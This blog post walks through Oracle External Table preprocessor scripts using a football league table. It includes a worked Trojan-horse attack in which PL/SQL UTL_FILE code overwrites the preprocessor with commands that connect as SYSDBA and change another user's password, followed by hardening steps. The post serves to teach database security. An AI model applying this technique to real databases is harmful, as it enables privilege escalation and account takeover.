Oracle External Table Pre-processing – Soccer Super-Powers and Trojan Horses

The end of the European Football season is coming into view.
In some leagues the battle for the title, or against relegation is reaching a peak of intensity.
Nails are being bitten throughout the continent…unless you are a fan of one of those teams who are running away with their League – Bayern Munich, Juventus, Celtic…Luton Town.
In their fifth season since relegation from the Football League to the Conference, Luton are sitting pretty in the sole automatic promotion place.
Simon is desparately attempting to balance his “lucky” Christmas-cracker moustache until promotion is mathematically certain. Personally, I think that this is taking the concept of keeping a stiff upper-lip to extremes.

"I'll shave it off when we're definitely up !"

“I’ll shave it off when we’re definitely up !”

With the aid of a recent Conference League Table, I’m going to explore the Preprocessor feature of External Tables.
We’ll start with a simple example of how data in an External Table can be processed via a shell script at runtime before the results are then presented to the database user.
We’ll then demonstrate that there are exceptions to the rule that “Simple is Best” by driving a coach and Trojan Horses through the security hole we’ve just opened up.
Finally, in desperation, we’ll have a read of the manual and implement a more secure version of our application.

So, without further ado…

External (league) Table Preprocessing

We have the league table in a csv called conference_table.csv :

Team, Played, Points, Goal Difference
luton town,32,55,72
cambridge utd,31,25,58
barnet,34,11,57
alfreton town,33,0,57
salisbury city,33,0,53
nuneaton town,34,-4,53
gateshead,34,7,51
kidderminster harriers,32,4,50
grimsby town,29,13,49
halifax town,34,10,48
macclesfield town,31,6,47
welling united,32,6,46
forest green,30,14,44
wrexham,33,0,43
lincoln city,34,-4,43
braintree town,27,9,42
woking,34,-11,42
hereford united,33,-11,39
chester,33,-17,35
southport,33,-20,34
aldershot town,32,5,33
dartford,34,-19,33
tamworth,32,-21,29
hyde,34,-58,9

In order to load this data into an External Table, we’ll need a Directory Object in the database that points to an OS directory where this file is located.
In this case, we have a Directory Object called MY_FILES which has been created thus :

CREATE OR REPLACE DIRECTORY my_files AS
    '/u01/app/oracle/my_files'
/

If we now want to access the data in this file, we simply need to copy it to the OS directory pointed to by our Directory Object, make sure that the ORACLE os user can read the file, and then point an external table at it.
So…

cp conference_table.csv /u01/app/oracle/myfiles/.
chmod a+r conference_table.csv

Just to check :


ls -l conference_table.csv

-rw-r--r-- 1 mike   mike     571 Mar 27 13:20 conference_table.csv

As you can see, whilst oracle does not own this file it will have read access to it, as will any other OS user.

And as for our common-or-garden External Table :

CREATE TABLE conference_tab_xt
(
    team varchar2(50),
    played number(2),
    goal_difference number(4),
    points number(3)
)
    ORGANIZATION EXTERNAL
    (
        TYPE oracle_loader
        DEFAULT DIRECTORY my_files
        ACCESS PARAMETERS
        (
            RECORDS DELIMITED BY NEWLINE
            SKIP 1
            FIELDS TERMINATED BY ','
            (
                team char(50),
                played integer external(2),
                goal_difference integer external(4),
                points integer external(2)
            )
        )
            LOCATION('conference_table.csv')
    )
REJECT LIMIT UNLIMITED
/

Using this, we can now see just who is top of the pile in the Conference…

SELECT team
FROM mike.conference_tab_xt
WHERE points = ( SELECT MAX(points) FROM conference_tab_xt)
/

TEAM
--------------------------------------------------
luton town

SQL> 

So far, so good. However, say we wanted to ensure that all of the team names were in upper case when they were loaded into the database ?
OK, this is a fairly trivial requirement, but it does give me the excuse to knock up a simple demonstration of how to implement a Preprocessor for this file.

The shell script to achieve this is relatively simple. If we were just going to run it from the OS, it would look something like this :

#!/bin/sh
cat $1 |tr '[:lower:]' '[:upper:]'

The argument passed into the script is the name of the csv file.
In order to make this script suitable for our purposes however, we’ll need to modify it a bit.
Bear in mind that both the cat and tr commands are executed based on what’s in the $PATH variable of the session in which the script is running.
As we can’t guarantee that this variable will be set at run time when the script is invoked from the database, we need to fully qualify the path to these executables.
If you need to work out the path to these executables, you can simply run the following at the command line :

$ which cat
/bin/cat
$ which tr
/usr/bin/tr

Now we can amend the script to read :

#!/bin/bash
/bin/cat $1|/usr/bin/tr '[:lower:]' '[:upper:]'

I’ve created this file as the oracle os user and saved it into the same directory as the csv file.
What could possibly go wrong ? We’ll come back to that in a bit.

For now, all we need to do is to make the file executable :

chmod u+x toupper.sh
ls -l toupper.sh
-rwxr--r-- 1 oracle dba 58 Apr  7 19:30 toupper.sh

Now, finally, we can re-create our External Table as follows :

DROP TABLE conference_tab_xt
/

CREATE TABLE conference_tab_xt
(
    team varchar2(50),
    played number(2),
    goal_difference number(4),
    points number(3)
)
    ORGANIZATION EXTERNAL
    (
        TYPE oracle_loader
        DEFAULT DIRECTORY my_files
        ACCESS PARAMETERS
        (
            RECORDS DELIMITED BY NEWLINE
            PREPROCESSOR my_files : 'toupper.sh'
            SKIP 1
            FIELDS TERMINATED BY ','
            (
                team char(50),
                played integer external(2),
                goal_difference integer external(4),
                points integer external(2)
            )
        )
            LOCATION('conference_table.csv')
    )
REJECT LIMIT UNLIMITED
/

Seems reasonable. After all, minimizing the number of Directory Objects in the database will also minimize the number of possible entry points for any would be directory based attacks right ? Hmmm.

Anyway, we can now check that the preprocessor does it’s work by re-issuing our query :

SELECT team
FROM mike.conference_tab_xt
WHERE points = ( SELECT MAX(points) FROM mike.conference_tab_xt)
/

TEAM
--------------------------------------------------
LUTON TOWN

Well, that all seems to work perfectly. But is it secure ?

Footballing rivalry in the database

To demonstrate the sort of problems that you could encounter with this External Table as it’s currently defined, we need to return to the land of the Trojan Horse.

Consider two users who need access to the External table we’ve just created.
We’ll call them Achilles and Hector.
If you really want a back-story, Hector is a keen Olympiakos fan, basking in the glory of their runaway lead at the top of the Greek Super League. Achilles supports Panathinaikos and is a bit fed-up with Hector giving it large about how great his team is. The fact that matches between the two teams are referred to as The Derby of the Eternal Enemies adds and extra frisson of tension around the office.

Both of them have the CREATE SESSION privileges and have been granted the DATA_PROCESS_ROLE, which is created as follows :

CREATE ROLE data_process_role
/

GRANT SELECT ON mike.conference_tab_xt TO data_process_role
/

GRANT READ, WRITE, EXECUTE ON DIRECTORY my_files TO data_process_role
/

GRANT EXECUTE ON UTL_FILE TO data_process_role
/

Just in case you want to play along, the two users have been created like this :

CREATE USER hector identified by pwd
/

GRANT CREATE SESSION, data_process_role TO hector
/

CREATE USER achilles identified by pwd
/

GRANT CREATE SESSION, data_process_role TO achilles
/

A point to note here is that the EXECUTE permission on the Directory Object is required for users to be able to access preprocessor program.

Achilles has decided to take Hector down a peg or two by creating a bit of mischief. He’s heard about this external table pre-processing and wonders if he might be able to use it to help him in his plan.

Before he sets about building his Wooden Horse, Achilles does some planning…

Planning the attack

First, Achilles finds out about the privileges he currently has :

SELECT privilege
FROM session_privs;

PRIVILEGE                              
----------------------------------------
CREATE SESSION               

SQL> SELECT owner, table_name, privilege
  2  FROM role_tab_privs
  3  ORDER BY table_name;

OWNER		     TABLE_NAME 	  PRIVILEGE
-------------------- -------------------- --------------------
MIKE		     CONFERENCE_TAB_XT	  SELECT
SYS		     MY_FILES		  EXECUTE
SYS		     MY_FILES		  READ
SYS		     MY_FILES		  WRITE
SYS		     UTL_FILE		  EXECUTE

Looks like the CONFERENCE_TAB_XT might be the type of external table he’s looking for.
He checks this in his IDE ( SQLDeveloper in this case).
Open the object and ask for the source SQL and :

-- Unable to render TABLE DDL for object MIKE.CONFERENCE_TAB_XT with DBMS_METADATA attempting internal generator.
CREATE TABLE MIKE.CONFERENCE_TAB_XT 
(
  TEAM VARCHAR2(50 BYTE) 
, PLAYED NUMBER(2, 0) 
, GOAL_DIFFERENCE NUMBER(4, 0) 
, POINTS NUMBER(3, 0) 
) 
ORGANIZATION EXTERNAL 
( 
  TYPE ORACLE_LOADER 
  DEFAULT DIRECTORY MY_FILES 
  ACCESS PARAMETERS 
  ( 
    RECORDS DELIMITED BY NEWLINE
            PREPROCESSOR MY_FILES : 'toupper.sh'
            SKIP 1
            FIELDS TERMINATED BY ','
            (
                team char(50),
                played integer external(2),
                goal_difference integer external(4),
                points integer external(2)
            ) 
  ) 
  LOCATION 
  ( 
    MY_FILES: 'conference_table.csv' 
  ) 
) 
REJECT LIMIT 0

Now Achilles can see that this is indeed an External Table. The file on which it’s based resides in the MY_FILES directory, hence the READ/WRITE privileges on that directory.
There is also a preprocessor for the table. This also resides in the MY_FILES directory, hence the EXECUTE privilege he’s been granted.

The final step in the planning process is to find out what the toupper.sh script does.
As he’s got READ and WRITE to the Directory, Achilles can do this :

set serveroutput on size unlimited
DECLARE
--
-- Script to read a file from a directory
--
    l_fp UTL_FILE.FILE_TYPE;
    l_buffer VARCHAR2(32767);
BEGIN 
    l_fp := UTL_FILE.FOPEN
    (
        location => 'MY_FILES',
        filename => 'toupper.sh',
        open_mode => 'R'
    );
    --
    -- Now output the contents...
    --
    BEGIN
        LOOP
            UTL_FILE.GET_LINE(l_fp, l_buffer);
            DBMS_OUTPUT.PUT_LINE(l_buffer);
        END LOOP;
    EXCEPTION
        WHEN NO_DATA_FOUND THEN
            NULL;
    END;
END;
/

He saves the code to a file called read_shell_script.sql. When he runs it :

SQL> @read_shell_script.sql
#!/bin/sh
/bin/cat $1|/usr/bin/tr '[:lower:]' '[:upper:]'

PL/SQL procedure successfully completed.

SQL> 

Wheeling the horse to the gates…

Achilles now has all the information required to implement his attack.
At this point, he could do whatever he wanted. Remember, the shell script is executed as the oracle user on the os. The oracle user that owns the database.

What he actually decides to do is…

DECLARE
    l_fp UTL_FILE.FILE_TYPE;
    l_buffer VARCHAR2(32767);
BEGIN 
    l_fp := UTL_FILE.FOPEN
    (
        location => 'MY_FILES',
        filename => 'toupper.sh',
        open_mode => 'W'
    );
    --
    -- Now write the new and "improved" script
    --
    UTL_FILE.PUT_LINE(l_fp, '#!/bin/sh');
    UTL_FILE.PUT_LINE(l_fp, '/u01/app/oracle/product/11.2.0/xe/bin/sqlplus -s / as sysdba <<- END_SCRIPT');
    UTL_FILE.PUT_LINE(l_fp, 'set feedback off');
    UTL_FILE.PUT_LINE(l_fp, 'alter user hector identified by Panathinaikos_no1_nuff_said;');
    UTL_FILE.PUT_LINE(l_fp, 'quit;');
    UTL_FILE.PUT_LINE(l_fp, 'END_SCRIPT');
    UTL_FILE.PUT_LINE(l_fp, '/bin/cat $1|/usr/bin/tr [:lower:] [:upper:]');
    UTL_FILE.FFLUSH(l_fp);
    UTL_FILE.FCLOSE(l_fp);
END;
/

This works as expected. After all, as well as Achilles having write access to the MY_FILES directory object in the database, the oracle user on the OS also has write privileges on the toupper.sh file.
Anyway, once this code has run, the shell script now looks like this :

#!/bin/sh
/u01/app/oracle/product/11.2.0/xe/bin/sqlplus -s / as sysdba <<- END_SCRIPT
set feedback off
alter user hector identified by panathinaikos_1970_nuff_said;
quit;
END_SCRIPT
/bin/cat $1|/usr/bin/tr [:lower:] [:upper:]

Of course, being a Trojan, the program hasn’t done anything yet. Achilles leaves everything as is at the moment.

A short while later, Hector decides to find out how things look at the top of the Conference ( he’s a bit of a European Football geek, truth be told) :

SELECT team, pld, pts, gd
FROM
(
  SELECT team, played as pld, points as pts, goal_difference as gd,
    RANK() OVER( ORDER BY points DESC, goal_difference DESC) as position
    FROM mike.conference_tab_xt
  )
  WHERE position < 6
/

The query works as expected and Hector is none-the-wiser. Next time he goes to login howerver, he gets an unpleasant surprise :

$ sqlplus hector

SQL*Plus: Release 11.2.0.2.0 Production on Thu Apr 10 18:48:03 2014

Copyright (c) 1982, 2011, Oracle.  All rights reserved.

Enter password: 
ERROR:
ORA-01017: invalid username/password; logon denied


Enter user-name: 

After a couple of days of the DBA getting annoyed at Hector because he can’t “remember” his password, Achilles simply changes the script back :

DECLARE
--
-- Script to reset toupper.sh to it's original contents
--
    l_fp UTL_FILE.FILE_TYPE;
    l_buffer VARCHAR2(32767);
BEGIN 
    l_fp := UTL_FILE.FOPEN
    (
        location => 'MY_FILES',
        filename => 'toupper.sh',
        open_mode => 'W'
    );
    UTL_FILE.PUT_LINE(l_fp, '#!/bin/sh');
    UTL_FILE.PUT_LINE(l_fp, '/bin/cat $1|/usr/bin/tr [:lower:] [:upper:]');
    UTL_FILE.FFLUSH(l_fp);
    UTL_FILE.FCLOSE(l_fp);
END;
/

When all else fails – Read the Manual

Clearly the solution we’ve implemented here has one or two issues.
On reflection, it might have been quite a good idea to look at the documentation on the subject of preprocessor security.

From this, we can see that there a number of steps we can take to prevent this sort of attack.

Keeping preprocessors separate from data files

As things stand, our database users have full permissions on the MY_FILES directory object.
However, the EXECUTE privilege is only necessary because they need to execute the preprocessor program.
So, if we created a separate directory object just for the preprocessor, that should solve the problem right ?
Well, it depends.
Remember, there is nothing to stop you having multiple directory objects in the database pointing to a single OS directory.
We want to make sure that it is not possible for our users to write to the preprocessor file from within the database.
To do this, we need an additional Directory Object pointing to a different OS directory.

So, the first step then is to create the OS directory and then a Directory Object in the database that points to it :

sudo su oracle
mkdir /u01/app/oracle/pre_proc_dir

…and the new Directory Object :

CREATE DIRECTORY pre_proc_dir AS
    '/u01/app/oracle/pre_proc_dir'

File permissions on the OS

Once we’ve done this, we can re-create toupper.sh in our new preprocessor OS directory and remove it from it’s original location.
Whilst we’re doing this, it’s probably worth bearing in mind that the oracle OS user only needs execute permissions on the file.
There’s nothing to stop it being owned by a different OS user. So, for example, I could create toupper.sh as mike and do the following :

chmod a+x toupper.sh
ls -l toupper.sh
-rwxr-xr-x 1 mike dba 244 Mar 28 14:19 toupper.sh

Now, whilst the oracle user can still execute (and read) the file, it cannot write to it. So, even if a user has write permissions on the PRE_PROC_DIR directory object in the database, they won’t be able to change the file itself.

The next step is to re-create our External Table to use the new preprocessor location :

DROP TABLE conference_tab_xt
/

CREATE TABLE conference_tab_xt
(
    team varchar2(50),
    played number(2),
    goal_difference number(4),
    points number(3)
)
    ORGANIZATION EXTERNAL
    (
        TYPE oracle_loader
        DEFAULT DIRECTORY my_files
        ACCESS PARAMETERS
        (
            RECORDS DELIMITED BY NEWLINE
            PREPROCESSOR pre_proc_dir : 'toupper.sh'
            SKIP 1
            FIELDS TERMINATED BY ','
            (
                team char(50),
                played integer external(2),
                goal_difference integer external(4),
                points integer external(2)
            )
        )
            LOCATION('conference_table.csv')
    )
REJECT LIMIT UNLIMITED
/

Directory Object grants

Finally, we need to modify the grants to the DATA_PROCESS_ROLE so that users can still access the table :

REVOKE EXECUTE ON DIRECTORY my_files FROM data_process_role
/
GRANT EXECUTE ON DIRECTORY pre_proc_dir TO data_process_role
/
-- re-grant select on the table as we've re-created it...
GRANT SELECT ON mike.conference_tab_xt TO data_process_role
/

Let’s see how (and indeed, whether) these changes prevent this kind of attack.

Achilles’ privileges have changed :

OWNER                          TABLE_NAME                     PRIVILEGE                              
------------------------------ ------------------------------ ----------------------------------------
MIKE                       CONFERENCE_TAB_XT SELECT                              
SYS                         MY_FILES                READ                                
SYS                         MY_FILES                WRITE                               
SYS                         PRE_PROC_DIR       EXECUTE                           
SYS                         UTL_FILE                 EXECUTE                           

Now when he comes to read or write the shell script it’s located in PRE_PROC_DIR, a directory to which he only has EXECUTE privileges. Now, he’ll get :

ORA-29289: directory access denied
ORA-06512: at "SYS.UTL_FILE", line 41
ORA-06512: at "SYS.UTL_FILE", line 478
ORA-06512: at line 10
29289. 00000 -  "directory access denied"
*Cause:    A directory object was specified for which no access is granted.
*Action:   Grant access to the directory object using the command
           GRANT READ ON DIRECTORY [object] TO [username];.

Other points to note

Of course, given a different set of object privileges, it would still be possible for Achilles to cause some mischief by exploiting the External Table preprocessing functionality.
Perhaps the most pertinent privilege here would be CREATE ANY DIRECTORY.
If you have this privilege then you will also have full rights on any Directory that you create. Remember, there is nothing to stop you having multiple Directory Objects that point to a single OS directory.
If Achilles had this privilege, and we had not removed the oracle OS user’s read/write privilege on our preprocessor program, then he could simply have created his own Directory Object in the database and used that to execute the same attack.
The Oracle documentation also mentions some auditing steps that you might consider. In addition to auditing the DROP ANY DIRECTORY privilege, I’d also suggest auditing CREATE ANY DIRECTORY.
I think the other point to note here is that, whilst auditing may serve as a deterrent, it does nothing to actively prevent this kind of thing happening.

As things stand, Luton need only one more win for promotion. Hopefully, Simon’s moustache’s days are strictly numbered.

About these ads

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s